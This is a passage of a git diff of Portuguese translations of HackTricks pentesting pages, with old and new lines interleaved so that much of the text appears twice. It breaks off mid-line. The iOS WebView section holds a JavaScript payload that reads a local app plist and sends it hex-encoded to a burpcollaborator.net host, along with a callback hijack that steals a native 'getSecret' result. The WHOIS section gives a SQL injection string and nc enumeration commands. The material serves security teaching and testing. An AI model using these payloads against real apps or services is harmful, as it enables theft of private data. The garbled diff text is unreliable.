* **`allowFileAccessFromFileURLs`** (`WKPreferences`, `false` por padrão): permite que o JavaScript em execução no contexto de um URL do esquema `file://` acesse o conteúdo de outros URLs do esquema `file://`.
|
||||
* **`allowUniversalAccessFromFileURLs`** (`WKWebViewConfiguration`, `false` por padrão): permite que o JavaScript em execução no contexto de um URL do esquema `file://` acesse o conteúdo de qualquer origem.
|
||||
* **`allowFileAccessFromFileURLs`** (`WKPreferences`, `falso` por padrão): permite que o JavaScript executando no contexto de uma URL com esquema `file://` acesse conteúdo de outras URLs com esquema `file://`.
|
||||
* **`allowUniversalAccessFromFileURLs`** (`WKWebViewConfiguration`, `falso` por padrão): permite que o JavaScript executando no contexto de uma URL com esquema `file://` acesse conteúdo de qualquer origem.
|
||||
|
||||
Você pode procurar por essas funções no código-fonte do aplicativo ou no binário compilado.\
|
||||
Além disso, você pode usar o seguinte script do frida para encontrar essas informações:
|
||||
Além disso, você pode usar o seguinte script frida para encontrar essa informação:
|
||||
```bash
|
||||
ObjC.choose(ObjC.classes['WKWebView'], {
|
||||
onMatch: function (wk) {
|
||||
console.log('onMatch: ', wk);
|
||||
console.log('URL: ', wk.URL().toString());
|
||||
console.log('javaScriptEnabled: ', wk.configuration().preferences().javaScriptEnabled());
|
||||
console.log('allowFileAccessFromFileURLs: ',
|
||||
wk.configuration().preferences().valueForKey_('allowFileAccessFromFileURLs').toString());
|
||||
console.log('hasOnlySecureContent: ', wk.hasOnlySecureContent().toString());
|
||||
console.log('allowUniversalAccessFromFileURLs: ',
|
||||
wk.configuration().valueForKey_('allowUniversalAccessFromFileURLs').toString());
|
||||
},
|
||||
onComplete: function () {
|
||||
console.log('done for WKWebView!');
|
||||
}
|
||||
onMatch: function (wk) {
|
||||
console.log('onMatch: ', wk);
|
||||
console.log('URL: ', wk.URL().toString());
|
||||
console.log('javaScriptEnabled: ', wk.configuration().preferences().javaScriptEnabled());
|
||||
console.log('allowFileAccessFromFileURLs: ',
|
||||
wk.configuration().preferences().valueForKey_('allowFileAccessFromFileURLs').toString());
|
||||
console.log('hasOnlySecureContent: ', wk.hasOnlySecureContent().toString());
|
||||
console.log('allowUniversalAccessFromFileURLs: ',
|
||||
wk.configuration().valueForKey_('allowUniversalAccessFromFileURLs').toString());
|
||||
},
|
||||
onComplete: function () {
|
||||
console.log('done for WKWebView!');
|
||||
}
|
||||
});
|
||||
```
|
||||
|
||||
|
@ -245,96 +227,96 @@ frida -U -f com.authenticationfailure.WheresMyBrowser -l webviews_inspector.js
|
|||
|
||||
onMatch: <WKWebView: 0x1508b1200; frame = (0 0; 320 393); layer = <CALayer: 0x1c4238f20>>
|
||||
URL: file:///var/mobile/Containers/Data/Application/A654D169-1DB7-429C-9DB9-A871389A8BAA/
|
||||
Library/WKWebView/scenario1.html
|
||||
Library/WKWebView/scenario1.html
|
||||
javaScriptEnabled: true
|
||||
allowFileAccessFromFileURLs: 0
|
||||
hasOnlySecureContent: false
|
||||
allowUniversalAccessFromFileURLs: 0
|
||||
```
|
||||
#### Extrair arquivos arbitrários
|
||||
#### Exfiltrar arquivos arbitrários
|
||||
```javascript
|
||||
//For some reason this payload doesn't work!!
|
||||
//Let me know if you know how to exfiltrate local files from a WKWebView
|
||||
String.prototype.hexEncode = function(){
|
||||
var hex, i;
|
||||
var result = "";
|
||||
for (i=0; i<this.length; i++) {
|
||||
hex = this.charCodeAt(i).toString(16);
|
||||
result += ("000"+hex).slice(-4);
|
||||
}
|
||||
return result
|
||||
var hex, i;
|
||||
var result = "";
|
||||
for (i=0; i<this.length; i++) {
|
||||
hex = this.charCodeAt(i).toString(16);
|
||||
result += ("000"+hex).slice(-4);
|
||||
}
|
||||
return result
|
||||
}
|
||||
|
||||
var xhr = new XMLHttpRequest();
|
||||
xhr.onreadystatechange = function() {
|
||||
if (xhr.readyState == XMLHttpRequest.DONE) {
|
||||
var xhr2 = new XMLHttpRequest();
|
||||
xhr2.open('GET', 'http://187e2gd0zxunzmb5vlowsz4j1a70vp.burpcollaborator.net/'+xhr.responseText.hexEncode(), true);
|
||||
xhr2.send(null);
|
||||
}
|
||||
if (xhr.readyState == XMLHttpRequest.DONE) {
|
||||
var xhr2 = new XMLHttpRequest();
|
||||
xhr2.open('GET', 'http://187e2gd0zxunzmb5vlowsz4j1a70vp.burpcollaborator.net/'+xhr.responseText.hexEncode(), true);
|
||||
xhr2.send(null);
|
||||
}
|
||||
}
|
||||
xhr.open('GET', 'file:///var/mobile/Containers/Data/Application/ED4E0AD8-F7F7-4078-93CC-C350465048A5/Library/Preferences/com.authenticationfailure.WheresMyBrowser.plist', true);
|
||||
xhr.send(null);
|
||||
```
|
||||
## Métodos nativos expostos por meio de WebViews
|
||||
## Métodos Nativos Expostos Através de WebViews
|
||||
|
||||
Desde o iOS 7, a Apple introduziu APIs que permitem a **comunicação entre o tempo de execução JavaScript na WebView e os objetos nativos** Swift ou Objective-C.
|
||||
Desde o iOS 7, a Apple introduziu APIs que permitem **comunicação entre o runtime do JavaScript no WebView e os objetos nativos** Swift ou Objective-C.
|
||||
|
||||
Existem duas maneiras fundamentais de como o código nativo e o JavaScript podem se comunicar:
|
||||
|
||||
* **JSContext**: Quando um bloco Objective-C ou Swift é atribuído a um identificador em um `JSContext`, o JavaScriptCore automaticamente envolve o bloco em uma função JavaScript.
|
||||
* **Protocolo JSExport**: Propriedades, métodos de instância e métodos de classe declarados em um protocolo herdado de `JSExport` são mapeados para objetos JavaScript que estão disponíveis para todo o código JavaScript. Modificações de objetos que estão no ambiente JavaScript são refletidas no ambiente nativo.
|
||||
|
||||
Observe que **apenas membros de classe definidos no protocolo `JSExport`** são tornados acessíveis ao código JavaScript.\
|
||||
Procure por código que mapeia objetos nativos para o `JSContext` associado a uma WebView e analise que funcionalidade ele expõe, por exemplo, nenhum dado sensível deve ser acessível e exposto às WebViews.\
|
||||
Em Objective-C, o `JSContext` associado a uma `UIWebView` é obtido da seguinte forma:
|
||||
Note que **apenas membros de classe definidos no protocolo `JSExport`** são acessíveis ao código JavaScript.\
|
||||
Fique atento ao código que mapeia objetos nativos para o `JSContext` associado a um WebView e analise que funcionalidades ele expõe, por exemplo, nenhum dado sensível deve ser acessível e exposto a WebViews.\
|
||||
Em Objective-C, o `JSContext` associado a um `UIWebView` é obtido da seguinte forma:
|
||||
```objectivec
|
||||
[webView valueForKeyPath:@"documentView.webView.mainFrame.javaScriptContext"]
|
||||
```
|
||||
O código JavaScript em um **`WKWebView` ainda pode enviar mensagens de volta para o aplicativo nativo, mas, em contraste com o `UIWebView`, não é possível fazer referência direta ao `JSContext`** de um `WKWebView`. Em vez disso, a comunicação é implementada usando um sistema de mensagens e usando a função `postMessage`, que automaticamente serializa objetos JavaScript em objetos nativos Objective-C ou Swift. Manipuladores de mensagens são configurados usando o método [`add(_ scriptMessageHandler:name:)`](https://developer.apple.com/documentation/webkit/wkusercontentcontroller/1537172-add).
|
||||
O código JavaScript em um **`WKWebView` ainda pode enviar mensagens de volta para o aplicativo nativo, mas, ao contrário do `UIWebView`, não é possível referenciar diretamente o `JSContext`** de um `WKWebView`. Em vez disso, a comunicação é implementada usando um sistema de mensagens e utilizando a função `postMessage`, que automaticamente serializa objetos JavaScript em objetos nativos Objective-C ou Swift. Os manipuladores de mensagens são configurados usando o método [`add(_ scriptMessageHandler:name:)`](https://developer.apple.com/documentation/webkit/wkusercontentcontroller/1537172-add).
|
||||
|
||||
### Habilitando o JavascriptBridge
|
||||
### Habilitando JavascriptBridge
|
||||
```swift
|
||||
func enableJavaScriptBridge(_ enabled: Bool) {
|
||||
options_dict["javaScriptBridge"]?.value = enabled
|
||||
let userContentController = wkWebViewConfiguration.userContentController
|
||||
userContentController.removeScriptMessageHandler(forName: "javaScriptBridge")
|
||||
options_dict["javaScriptBridge"]?.value = enabled
|
||||
let userContentController = wkWebViewConfiguration.userContentController
|
||||
userContentController.removeScriptMessageHandler(forName: "javaScriptBridge")
|
||||
|
||||
if enabled {
|
||||
let javaScriptBridgeMessageHandler = JavaScriptBridgeMessageHandler()
|
||||
userContentController.add(javaScriptBridgeMessageHandler, name: "javaScriptBridge")
|
||||
}
|
||||
if enabled {
|
||||
let javaScriptBridgeMessageHandler = JavaScriptBridgeMessageHandler()
|
||||
userContentController.add(javaScriptBridgeMessageHandler, name: "javaScriptBridge")
|
||||
}
|
||||
}
|
||||
```
|
||||
### Enviando Mensagem
|
||||
|
||||
Adicionar um manipulador de mensagem de script com o nome `"name"` (ou `"javaScriptBridge"` no exemplo acima) faz com que a função JavaScript `window.webkit.messageHandlers.myJavaScriptMessageHandler.postMessage` seja definida em todos os quadros em todas as visualizações da web que usam o controlador de conteúdo do usuário. Pode então ser [usado a partir do arquivo HTML assim](https://github.com/authenticationfailure/WheresMyBrowser.iOS/blob/d4e2d9efbde8841bf7e4a8800418dda6bb116ec6/WheresMyBrowser/web/WKWebView/scenario3.html#L33):
|
||||
Adicionar um manipulador de mensagens de script com o nome `"name"` (ou `"javaScriptBridge"` no exemplo acima) faz com que a função JavaScript `window.webkit.messageHandlers.myJavaScriptMessageHandler.postMessage` seja definida em todos os frames em todas as web views que usam o controlador de conteúdo do usuário. Pode então [ser usado a partir do arquivo HTML assim](https://github.com/authenticationfailure/WheresMyBrowser.iOS/blob/d4e2d9efbde8841bf7e4a8800418dda6bb116ec6/WheresMyBrowser/web/WKWebView/scenario3.html#L33):
|
||||
```javascript
|
||||
function invokeNativeOperation() {
|
||||
value1 = document.getElementById("value1").value
|
||||
value2 = document.getElementById("value2").value
|
||||
window.webkit.messageHandlers.javaScriptBridge.postMessage(["multiplyNumbers", value1, value2]);
|
||||
value1 = document.getElementById("value1").value
|
||||
value2 = document.getElementById("value2").value
|
||||
window.webkit.messageHandlers.javaScriptBridge.postMessage(["multiplyNumbers", value1, value2]);
|
||||
}
|
||||
//After testing the previos funtion I got the error TypeError: undefined is not an object (evaluating 'window.webkit.messageHandlers')
|
||||
//But the following code worked to call the exposed javascriptbridge with the args "addNumbers", "1", "2"
|
||||
|
||||
document.location = "javascriptbridge://addNumbers/" + 1 + "/" + 2
|
||||
```
|
||||
Uma vez que a função nativa é executada, geralmente **executará algum JavaScript dentro da página da web** (veja `evaluateJavascript` abaixo) e você pode estar interessado em **substituir a função** que será executada para **roubar o resultado**.\
|
||||
Por exemplo, no script abaixo, a função **`javascriptBridgeCallBack`** será executada com 2 parâmetros (a função chamada e o **resultado**). Se você controla o HTML que será carregado, pode criar um **alerta com o resultado** como:
|
||||
Uma vez que a função Nativa é executada, ela geralmente irá **executar algum JavaScript dentro da página web** (veja `evaluateJavascript` abaixo), você pode estar interessado em **substituir a função** que será executada para **roubar o resultado**.\
|
||||
Por exemplo, no script abaixo, a função **`javascriptBridgeCallBack`** será executada com 2 parâmetros (a função chamada e o **resultado**). Se você controla o HTML que será carregado, você pode criar um **alerta com o resultado** como:
|
||||
```markup
|
||||
<html>
|
||||
<script>
|
||||
document.location = "javascriptbridge://getSecret"
|
||||
function javascriptBridgeCallBack(name, result) {
|
||||
alert(result);
|
||||
}
|
||||
</script>
|
||||
<script>
|
||||
document.location = "javascriptbridge://getSecret"
|
||||
function javascriptBridgeCallBack(name, result) {
|
||||
alert(result);
|
||||
}
|
||||
</script>
|
||||
</html>
|
||||
```
|
||||
### Função Chamada
|
||||
|
||||
A função chamada está localizada em [`JavaScriptBridgeMessageHandler.swift`](https://github.com/authenticationfailure/WheresMyBrowser.iOS/blob/b8d4abda4000aa509c7a5de79e5c90360d1d0849/WheresMyBrowser/JavaScriptBridgeMessageHandler.swift#L29):
|
||||
A função chamada reside em [`JavaScriptBridgeMessageHandler.swift`](https://github.com/authenticationfailure/WheresMyBrowser.iOS/blob/b8d4abda4000aa509c7a5de79e5c90360d1d0849/WheresMyBrowser/JavaScriptBridgeMessageHandler.swift#L29):
|
||||
```swift
|
||||
class JavaScriptBridgeMessageHandler: NSObject, WKScriptMessageHandler {
|
||||
|
||||
|
@ -342,9 +324,9 @@ class JavaScriptBridgeMessageHandler: NSObject, WKScriptMessageHandler {
|
|||
|
||||
case "multiplyNumbers":
|
||||
|
||||
let arg1 = Double(messageArray[1])!
|
||||
let arg2 = Double(messageArray[2])!
|
||||
result = String(arg1 * arg2)
|
||||
let arg1 = Double(messageArray[1])!
|
||||
let arg2 = Double(messageArray[2])!
|
||||
result = String(arg1 * arg2)
|
||||
//...
|
||||
|
||||
let javaScriptCallBack = "javascriptBridgeCallBack('\(functionFromJS)','\(result)')"
|
||||
|
@ -352,38 +334,38 @@ message.webView?.evaluateJavaScript(javaScriptCallBack, completionHandler: nil)
|
|||
```
|
||||
### Testando
|
||||
|
||||
Para testar o envio de uma mensagem `postMessage` dentro de um aplicativo, você pode:
|
||||
Para testar o envio de uma postMessage dentro de um aplicativo, você pode:
|
||||
|
||||
* Alterar a resposta do servidor (MitM)
|
||||
* Realizar uma instrumentação dinâmica e injetar a carga útil JavaScript usando frameworks como Frida e as funções de avaliação JavaScript correspondentes disponíveis para os iOS WebViews ([`stringByEvaluatingJavaScriptFromString:`](https://developer.apple.com/documentation/uikit/uiwebview/1617963-stringbyevaluatingjavascriptfrom?language=objc) para `UIWebView` e [`evaluateJavaScript:completionHandler:`](https://developer.apple.com/documentation/webkit/wkwebview/1415017-evaluatejavascript?language=objc) para `WKWebView`).
|
||||
* Realizar uma instrumentação dinâmica e injetar o payload JavaScript usando frameworks como Frida e as respectivas funções de avaliação JavaScript disponíveis para os iOS WebViews ([`stringByEvaluatingJavaScriptFromString:`](https://developer.apple.com/documentation/uikit/uiwebview/1617963-stringbyevaluatingjavascriptfrom?language=objc) para `UIWebView` e [`evaluateJavaScript:completionHandler:`](https://developer.apple.com/documentation/webkit/wkwebview/1415017-evaluatejavascript?language=objc) para `WKWebView`).
|
||||
|
||||
## Depuração de iOS WebViews
|
||||
## Depurando iOS WebViews
|
||||
|
||||
(Tutorial de [https://blog.vuplex.com/debugging-webviews](https://blog.vuplex.com/debugging-webviews))
|
||||
|
||||
Nos webviews do iOS, as mensagens passadas para `console.log()` _não_ são impressas nos logs do Xcode. Ainda é relativamente fácil depurar o conteúdo da web com as ferramentas de desenvolvedor do Safari, embora haja algumas limitações:
|
||||
Nos webviews do iOS, mensagens enviadas para `console.log()` _não_ são impressas nos logs do Xcode. Ainda é relativamente fácil depurar conteúdo web com as ferramentas de desenvolvedor do Safari, embora existam algumas limitações:
|
||||
|
||||
* Depurar webviews do iOS requer o Safari, portanto, seu computador de desenvolvimento deve estar executando o macOS.
|
||||
* Você só pode depurar webviews em aplicativos carregados em seu dispositivo por meio do Xcode. Você não pode depurar webviews em aplicativos instalados por meio da App Store ou do Apple Configurator.
|
||||
* A depuração de webviews do iOS requer Safari, então seu computador de desenvolvimento deve estar executando macOS.
|
||||
* Você só pode depurar webviews em aplicativos carregados em seu dispositivo através do Xcode. Não é possível depurar webviews em apps instalados pela App Store ou Apple Configurator.
|
||||
|
||||
Com essas limitações em mente, aqui estão as etapas para depurar remotamente um webview no iOS:
|
||||
Com essas limitações em mente, aqui estão os passos para depurar remotamente um webview no iOS:
|
||||
|
||||
* Primeiro, ative o Safari Web Inspector em seu dispositivo iOS abrindo o aplicativo _Configurações_ do iOS, navegando até **Configurações > Safari > Avançado** e ativando a opção _Web Inspector_.
|
||||
* Primeiro, habilite o Safari Web Inspector no seu dispositivo iOS abrindo o aplicativo _Configurações_ do iOS, navegando até **Configurações > Safari > Avançado**, e ativando a opção _Web Inspector_.
|
||||
|
||||
![iOS Safari settings](https://blog.vuplex.com/article-assets/20190324-debugging-webviews/ios-safari-settings.jpg)
|
||||
![Configurações do Safari no iOS](https://blog.vuplex.com/article-assets/20190324-debugging-webviews/ios-safari-settings.jpg)
|
||||
|
||||
* Em seguida, você também deve habilitar as ferramentas de desenvolvedor no Safari em seu computador de desenvolvimento. Inicie o Safari em sua máquina de desenvolvimento e navegue até **Safari > Preferências** na barra de menus. Na janela de preferências que aparece, clique na guia _Avançado_ e, em seguida, habilite a opção _Mostrar menu Desenvolver_ na parte inferior. Depois de fazer isso, você pode fechar a janela de preferências.
|
||||
* Em seguida, você também deve habilitar as ferramentas de desenvolvedor no Safari em seu computador de desenvolvimento. Inicie o Safari em sua máquina de desenvolvimento e navegue até **Safari > Preferências** na barra de menus. No painel de preferências que aparece, clique na aba _Avançado_ e depois habilite a opção _Mostrar menu Desenvolvedor_ na parte inferior. Depois disso, você pode fechar o painel de preferências.
|
||||
|
||||
![Mac Safari settings](https://blog.vuplex.com/article-assets/20190324-debugging-webviews/mac-safari-settings.jpg)
|
||||
![Configurações do Safari no Mac](https://blog.vuplex.com/article-assets/20190324-debugging-webviews/mac-safari-settings.jpg)
|
||||
|
||||
* Conecte seu dispositivo iOS ao seu computador de desenvolvimento e inicie seu aplicativo.
|
||||
* No Safari em seu computador de desenvolvimento, clique em _Desenvolver_ na barra de menus e passe o mouse sobre a opção suspensa que é o nome do seu dispositivo iOS para mostrar uma lista de instâncias de webview em execução em seu dispositivo iOS.
|
||||
* No Safari em seu computador de desenvolvimento, clique em _Desenvolvedor_ na barra de menus e passe o mouse sobre a opção dropdown que é o nome do seu dispositivo iOS para mostrar uma lista de instâncias de webview em execução no seu dispositivo iOS.
|
||||
|
||||
![Mac Safari develop menu](https://blog.vuplex.com/article-assets/20190324-debugging-webviews/mac-safari-develop-menu.jpg)
|
||||
![Menu de desenvolvedor do Safari no Mac](https://blog.vuplex.com/article-assets/20190324-debugging-webviews/mac-safari-develop-menu.jpg)
|
||||
|
||||
* Clique na opção suspensa para o webview que deseja depurar. Isso abrirá uma nova janela do Safari Web Inspector para inspecionar o webview.
|
||||
* Clique na opção dropdown para o webview que você deseja depurar. Isso abrirá uma nova janela do Safari Web Inspector para inspecionar o webview.
|
||||
|
||||
![Safari Web Inspector window](https://blog.vuplex.com/article-assets/20190324-debugging-webviews/mac-safari-inspector.jpg)
|
||||
![Janela do Safari Web Inspector](https://blog.vuplex.com/article-assets/20190324-debugging-webviews/mac-safari-inspector.jpg)
|
||||
|
||||
## Referências
|
||||
|
||||
|
@ -392,16 +374,14 @@ Com essas limitações em mente, aqui estão as etapas para depurar remotamente
|
|||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
<summary><strong>Aprenda AWS hacking do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
- Você trabalha em uma **empresa de segurança cibernética**? Você quer ver sua **empresa anunciada no HackTricks**? ou você quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
Outras maneiras de apoiar o HackTricks:
|
||||
|
||||
- Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
|
||||
- Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
|
||||
- **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
|
||||
- **Compartilhe suas técnicas de hacking enviando PRs para o [repositório hacktricks](https://github.com/carlospolop/hacktricks) e [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
* Se você quiser ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Adquira o [**merchandising oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
|
||||
* **Junte-se ao grupo** 💬 [**Discord**](https://discord.gg/hRep4RUj7f) ou ao grupo [**telegram**](https://t.me/peass) ou **siga** me no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Compartilhe suas dicas de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) no github.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -1,77 +1,75 @@
|
|||
```markdown
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
<summary><strong>Aprenda hacking no AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
- Trabalha em uma **empresa de segurança cibernética**? Quer ver sua **empresa anunciada no HackTricks**? ou quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
Outras formas de apoiar o HackTricks:
|
||||
|
||||
- Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
|
||||
- Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
|
||||
- **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
|
||||
- **Compartilhe suas técnicas de hacking enviando PRs para o [repositório hacktricks](https://github.com/carlospolop/hacktricks) e [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
* Se você quer ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Adquira o [**material oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
|
||||
* **Junte-se ao grupo** 💬 [**Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Compartilhe suas técnicas de hacking enviando PRs para os repositórios github do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
||||
|
||||
# Informações Básicas
|
||||
|
||||
**WHOIS** (pronunciado como a frase "quem é") é um protocolo de consulta e resposta amplamente utilizado para consultar bancos de dados que armazenam os usuários registrados ou os destinatários de um recurso da Internet, como um nome de domínio, um bloco de endereços IP ou um sistema autônomo, mas também é usado para uma ampla gama de outras informações. (De [aqui](https://en.wikipedia.org/wiki/WHOIS))
|
||||
**WHOIS** (pronunciado como a frase "quem é") é um protocolo de consulta e resposta amplamente utilizado para consultar bancos de dados que armazenam os usuários registrados ou cessionários de um recurso da Internet, como um nome de domínio, um bloco de endereços IP ou um sistema autônomo, mas também é usado para uma gama mais ampla de outras informações. (De [aqui](https://en.wikipedia.org/wiki/WHOIS))
|
||||
|
||||
**Porta padrão:** 43
|
||||
```
|
||||
```
|
||||
PORT STATE SERVICE
|
||||
43/tcp open whois?
|
||||
```
|
||||
# Enumerar
|
||||
# Enumeração
|
||||
|
||||
Obtenha todas as informações que um serviço whois tem sobre um domínio:
|
||||
Obtenha todas as informações que um serviço whois possui sobre um domínio:
|
||||
```bash
|
||||
whois -h <HOST> -p <PORT> "domain.tld"
|
||||
echo "domain.ltd" | nc -vn <HOST> <PORT>
|
||||
```
|
||||
Observe que às vezes, ao solicitar algumas informações a um serviço WHOIS, o banco de dados usado aparece na resposta:
|
||||
Observe que, às vezes, ao solicitar informações de um serviço WHOIS, a base de dados utilizada aparece na resposta:
|
||||
|
||||
![](<../.gitbook/assets/image (147).png>)
|
||||
|
||||
Além disso, o serviço WHOIS sempre precisa usar um **banco de dados** para armazenar e extrair as informações. Portanto, uma possível **injeção de SQL** pode estar presente ao **consultar** o banco de dados a partir de algumas informações fornecidas pelo usuário. Por exemplo, fazendo: `whois -h 10.10.10.155 -p 43 "a') or 1=1#"` você pode ser capaz de **extrair todas** as **informações** salvas no banco de dados.
|
||||
Além disso, o serviço WHOIS sempre precisa usar uma **base de dados** para armazenar e extrair informações. Portanto, uma possível **SQLInjection** pode estar presente ao **consultar** a base de dados com algumas informações fornecidas pelo usuário. Por exemplo, ao fazer: `whois -h 10.10.10.155 -p 43 "a') or 1=1#"` você poderia ser capaz de **extrair todas** as **informações** salvas na base de dados.
|
||||
|
||||
# Shodan
|
||||
|
||||
* `port:43 whois`
|
||||
|
||||
# Comandos Automáticos do HackTricks
|
||||
# Comandos Automáticos HackTricks
|
||||
```
|
||||
Protocol_Name: WHOIS #Protocol Abbreviation if there is one.
|
||||
Port_Number: 43 #Comma separated if there is more than one.
|
||||
Protocol_Description: WHOIS #Protocol Abbreviation Spelled out
|
||||
|
||||
Entry_1:
|
||||
Name: Notes
|
||||
Description: Notes for WHOIS
|
||||
Note: |
|
||||
WHOIS (pronounced as the phrase "who is") is a query and response protocol that is widely used for querying databases that store the registered users or assignees of an Internet resource, such as a domain name, an IP address block or an autonomous system, but is also used for a wider range of other information.
|
||||
Name: Notes
|
||||
Description: Notes for WHOIS
|
||||
Note: |
|
||||
WHOIS (pronounced as the phrase "who is") is a query and response protocol that is widely used for querying databases that store the registered users or assignees of an Internet resource, such as a domain name, an IP address block or an autonomous system, but is also used for a wider range of other information.
|
||||
|
||||
https://book.hacktricks.xyz/pentesting/pentesting-smtp
|
||||
https://book.hacktricks.xyz/pentesting/pentesting-smtp
|
||||
|
||||
Entry_2:
|
||||
Name: Banner Grab
|
||||
Description: Grab WHOIS Banner
|
||||
Command: whois -h {IP} -p 43 {Domain_Name} && echo {Domain_Name} | nc -vn {IP} 43
|
||||
Name: Banner Grab
|
||||
Description: Grab WHOIS Banner
|
||||
Command: whois -h {IP} -p 43 {Domain_Name} && echo {Domain_Name} | nc -vn {IP} 43
|
||||
```
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
<summary><strong>Aprenda hacking no AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
- Você trabalha em uma **empresa de segurança cibernética**? Você quer ver sua **empresa anunciada no HackTricks**? ou você quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
Outras formas de apoiar o HackTricks:
|
||||
|
||||
- Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
|
||||
- Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
|
||||
- **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
|
||||
- **Compartilhe seus truques de hacking enviando PRs para o [repositório hacktricks](https://github.com/carlospolop/hacktricks) e [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
* Se você quer ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Adquira o [**material oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
